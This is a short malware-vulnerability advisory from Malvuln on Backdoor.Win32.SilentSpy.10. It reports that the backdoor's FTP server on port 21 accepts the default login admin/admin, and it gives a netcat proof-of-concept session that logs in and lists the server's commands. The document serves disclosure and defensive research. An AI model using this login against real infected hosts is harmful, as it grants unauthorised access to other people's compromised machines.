Backdoor.Win32.SilentSpy.10 Authentication Race Condition

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.SilentSpy.10  
Vulnerability: Authentication Race Condition  
Description: The malware runs an FTP server on TCP port 21. Third-party attackers who can reach the system before a password has been set can logon using default credentials of admin/admin. The default credentials are displayed in the FTP banner upon connecting.  
Type: PE32  
MD5: a7ce38e60cf08f2b234f34043b87e701  
Vuln ID: MVID-2021-0441  
Disclosure: 12/31/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 21  
220-+-----------------------+  
220-| º∩LΘn7 ºpy FTP server |  
220-+-----------------------+-------------------------------------------------+  
220-| To use the FTP server type, |  
220-| USER admin |  
220-| PASS [servers password] |  
220-| IF the server doesn't have a password then the password is also 'admin' |  
220-| Have fun [type HELP for more commands] |  
220 +-------------------------------------------------------------------------+  
USER admin  
331 and the password for admin is .. ??  
PASS admin  
230 Welcome  
SYST  
215 IBM-PC (Windows95/98/NT based system)  
HELP  
214-The following commands are recognized:  
ABOR DELE NOOP REIN SITE SYST XRMD  
ACCT HELP PASS REST SMNT TYPE SIZE  
ALLO LIST PASV RETR STAT USER  
APPE MKD PORT RMD STOR XCWD  
CDUP MODE PWD RNFR STOU XMKD  
CWD NLST QUIT RNTO STRU XPWD  
214 Send comments to [email protected]  
  
  
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